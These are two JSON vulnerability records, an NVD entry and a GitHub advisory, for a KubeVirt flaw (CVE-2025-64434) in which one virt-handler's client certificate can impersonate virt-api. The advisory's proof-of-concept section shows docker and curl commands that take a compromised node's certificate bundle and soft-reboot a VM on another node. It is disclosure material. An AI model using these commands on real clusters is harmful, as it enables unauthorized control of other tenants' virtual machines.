{
  "affected": [
    {
      "affectedData": [
        {
          "product": "kubevirt",
          "vendor": "kubevirt",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.5.3"
            },
            {
              "status": "affected",
              "version": "\u003e= 1.6.0-alpha.0, \u003c 1.6.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*",
              "matchCriteriaId": "D06A16D0-A19D-4FC9-BBB2-DD155157AD8E",
              "versionEndExcluding": "1.5.3",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:kubevirt:kubevirt:1.6.0:*:*:*:*:kubernetes:*:*",
              "matchCriteriaId": "78254CFF-E38D-4C0A-AB4B-3F41FCBB2A3C",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, due to the peer verification logic in virt-handler (via verifyPeerCert), an attacker who compromises a virt-handler instance, could exploit these shared credentials to impersonate virt-api and execute privileged operations against other virt-handler instances potentially compromising the integrity and availability of the VM managed by it. This vulnerability is fixed in 1.5.3 and 1.6.1."
    },
    {
      "lang": "es",
      "value": "KubeVirt es un complemento de gesti\u00f3n de m\u00e1quinas virtuales para Kubernetes. Antes de las versiones 1.5.3 y 1.6.1, debido a la l\u00f3gica de verificaci\u00f3n de pares en virt-handler (a trav\u00e9s de verifyPeerCert), un atacante que comprometiese una instancia de virt-handler podr\u00eda explotar estas credenciales compartidas para suplantar a virt-API y ejecutar operaciones privilegiadas contra otras instancias de virt-handler, comprometiendo potencialmente la integridad y disponibilidad de la m\u00e1quina virtual gestionada por esta. Esta vulnerabilidad est\u00e1 corregida en las versiones 1.5.3 y 1.6.1."
    }
  ],
  "id": "CVE-2025-64434",
  "lastModified": "2026-06-17T09:54:22.717",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 4.7,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.0,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 6.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.0,
        "impactScore": 5.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-64434",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-11-10T19:02:59.922086Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-11-07T23:15:45.690",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/kubevirt/kubevirt/commit/231dc69723f331dc02f65a31ab4c3d6869f40d6a"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/kubevirt/kubevirt/commit/af2f08a9a186eccc650f87c30ab3e07b669e8b5b"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/kubevirt/kubevirt/commit/b9773bc588e6e18ece896a2dad5336ef7a653074"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0-alpha.0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-06T23:35:03Z",
    "nvd_published_at": "2025-11-07T23:15:45Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nDue to improper TLS certificate management, a compromised `virt-handler` could impersonate `virt-api` by using its own TLS credentials, allowing it to initiate privileged operations against another `virt-handler`.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nBecause of improper TLS certificate management, a compromised `virt-handler` instance can reuse its TLS bundle to impersonate `virt-api`, enabling unauthorized access to VM lifecycle operations on other `virt-handler` nodes. \nThe `virt-api` component acts as a sub-resource server, and it proxies API VM lifecycle requests to `virt-handler` instances.\nThe communication between `virt-api` and `virt-handler` instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by `virt-api` is defined in the source code as follows and have the following properties: \n\n```go\n//pkg/virt-api/api.go\n\nconst (\n\t...\n\tdefaultCAConfigMapName     = \"kubevirt-ca\"\n  ...\n\tdefaultHandlerCertFilePath = \"/etc/virt-handler/clientcertificates/tls.crt\"\n\tdefaultHandlerKeyFilePath  = \"/etc/virt-handler/clientcertificates/tls.key\"\n)\n```\n\n```bash\n# verify virt-api\u0027s certificate properties from the docker container in which it is deployed using Minikube\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter \u0027Name=virt-api\u0027 --format \u0027{{.ID}}\u0027 | head -n 1) \u0026\u0026 \\\ndocker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d \u0027\"[:space:]\u0027)/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 127940157512425330 (0x1c688e539091f72)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n```\n\nThe `virt-handler` component verifies the signature of client certificates using a self-signed root CA. This latter is generated by `virt-operator` when the KubeVirt stack is deployed and it is stored within a ConfigMap in the `kubevirt` namespace. **This configmap is used as a trust anchor** by all `virt-handler` instances to verify client certificates.\n\n```bash\n# inspect the self-signed root CA used to sign virt-api and virt-handler\u0027s certificates\nadmin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath=\u0027{.data.ca-bundle}\u0027 | openssl x509 -text | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 319368675363923930 (0x46ea01e3f7427da)\nIssuer: CN=kubevirt.io@1747579138\nSubject: CN=kubevirt.io@1747579138\n```\n\nThe `kubevirt-ca` is also used to sign the server certificate which is used by a `virt-handler` instance:\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter \u0027Name=virt-handler\u0027 --format \u0027{{.ID}}\u0027 | head -n 1) \u0026\u0026 \\\ndocker inspect $CID | grep \"servercertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d \u0027\"[:space:]\u0027)/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\n# the virt-handler\u0027s server ceriticate is issued by the same root CA\nSerial Number: 7584450293644921758 (0x6941615ba1500b9e)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:node:virt-handler\n```\n\n\nIn addition to the validity of the signature, the `virt-handler` component also verifies the CN field of the presented certificate:\n\n\u003ccode.sec.SetupTLSForVirtHandlerServer\u003e\n```go \n//pkg/util/tls/tls.go\n\nfunc SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config {\n\t// #nosec cause: InsecureSkipVerify: true\n\t// resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed\n\t\n\t//...\n\t\t\t\t// XXX: We need to verify the cert ourselves because we don\u0027t have DNS or IP on the certs at the moment\n\t\t\t\tVerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {\n\t\t\t\t\treturn verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, \"client\")\n\t\t\t\t},\n\t\t\t\t//...\n}\n\nfunc verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error {\n  //...\n\trawPeer, rawIntermediates := rawCerts[0], rawCerts[1:]\n\tc, err := x509.ParseCertificate(rawPeer)\n\t//...\n\tfullCommonName := fmt.Sprintf(\"kubevirt.io:system:%s:virt-handler\", commonName)\n\tif !externallyManaged \u0026\u0026 c.Subject.CommonName != fullCommonName {\n\t\treturn fmt.Errorf(\"common name is invalid, expected %s, but got %s\", fullCommonName, c.Subject.CommonName)\n\t}\n\t//...\n```\n\n\nThe above code illustrates that client certificates accepted be KubeVirt should have as CN `kubevirt.io:system:client:virt-handler` which is the same as the CN present in the `virt-api`\u0027s certificate. **However, the latter is not the only component in the KubeVirt stack which can communicate with a `virt-handler` instance**. \n\nIn addition to the extension API server, any other `virt-handler` can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the `virt-handler`s on both nodes are going to use structures called `ProxyManager` to communicate back and forth on the state of the migration. \n\n```go\n//pkg/virt-handler/migration-proxy/migration-proxy.go\n\nfunc NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager {\n\treturn \u0026migrationProxyManager{\n\t\tsourceProxies:   make(map[string][]*migrationProxy),\n\t\ttargetProxies:   make(map[string][]*migrationProxy),\n\t\tserverTLSConfig: serverTLSConfig,\n\t\tclientTLSConfig: clientTLSConfig,\n\t\tconfig:          config,\n\t}\n}\n```\n\n\nThis communication follows a classical client-server model, where the `virt-handler` on the migration source node acts as a client and the `virt-handler` on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the `virt-handler` acting as a migration destination node is the same as the one which is used for the communication between the same `virt-handler` and the `virt-api` in the context of VM lifecycle operations (`CN=kubevirt.io:system:node:virt-handler`). However, the client certificate  which is used by a `virt-handler` instance has the same CN as the client certificate used by `virt-api`.\n\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter \u0027Name=virt-handler\u0027 --format \u0027{{.ID}}\u0027 | head -n 1) \u0026\u0026 docker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | tr -d \u0027\"[:space:]\u0027)/tls.crt | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 2951695854686290384 (0x28f687bdb791c1d0)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n\n```\n\nAlthough the migration procedure, where two separate `virt-handler` instances coordinate the transfer of a VM\u0027s state, is not directly tied to the communication between `virt-api` and `virt-handler` during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both `virt-handler` and `virt-api` shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication.\n\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nTo illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (`minikube` and `minikube-m02`) thus, with two `virt-handler` instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the `virt-handler` instance running on the compromised node (`minikube`) while the virtual machine is running on the other node (`minikube-m02`). Thus, they can interact with the sub-resource API exposed by the other `virt-handler` instance and control the lifecycle of the VMs running on the other node:\n\n\n```yaml\n# the deployed VMI on the non-compromised node minikube-m02\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  labels:\n  kubevirt.io/size: small\n  name: mishandling-common-name-in-certificate-handler\nspec:\n  domain:\n    devices:\n      disks:\n      - name: containerdisk\n        disk:\n          bus: virtio\n\n      - name: cloudinitdisk\n        disk:\n          bus: virtio\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - name: containerdisk\n    containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo\n  - name: cloudinitdisk      \n    cloudInitNoCloud:\n      userDataBase64: SGkuXG4=\n```\n\n\n```bash\n# the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3\nattacker@minikube:~$ curl -k https://10.244.1.3:8186/\ncurl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0\n# get the certificate bundle directory and redo the request\nattacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter \u0027Name=virt-handler\u0027 --format=\u0027{{.ID}}\u0027 | head -n 1) | grep \"clientcertificates:ro\" | cut -d \u0027:\u0027 -f1 | tr -d \u0027\"[:space:]\u0027)\n\nattacker@minikube:~$ curl -k  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/\n404: Page Not Found\n\n# soft reboot the VMI instance running on the other node\nattacker@minikube:~$ curl -ki  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot  -XPUT\nHTTP/1.1 202 Accepted\n# the VMI mishandling-common-name-in-certificate-handler has been rebooted\n```\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDue to the peer verification logic in `virt-handler` (via `verifyPeerCert`), an attacker who compromises a `virt-handler` instance, could exploit these shared credentials to impersonate `virt-api` and execute privileged operations against other `virt-handler` instances potentially compromising the integrity and availability of the managed by it VM.",
  "id": "GHSA-ggp9-c99x-54gp",
  "modified": "2025-11-27T08:48:13Z",
  "published": "2025-11-06T23:35:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64434"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/231dc69723f331dc02f65a31ab4c3d6869f40d6a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/af2f08a9a186eccc650f87c30ab3e07b669e8b5b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/b9773bc588e6e18ece896a2dad5336ef7a653074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubevirt/kubevirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KubeVirt\u0027s Improper TLS Certificate Management Handling Allows API Identity Spoofing"
}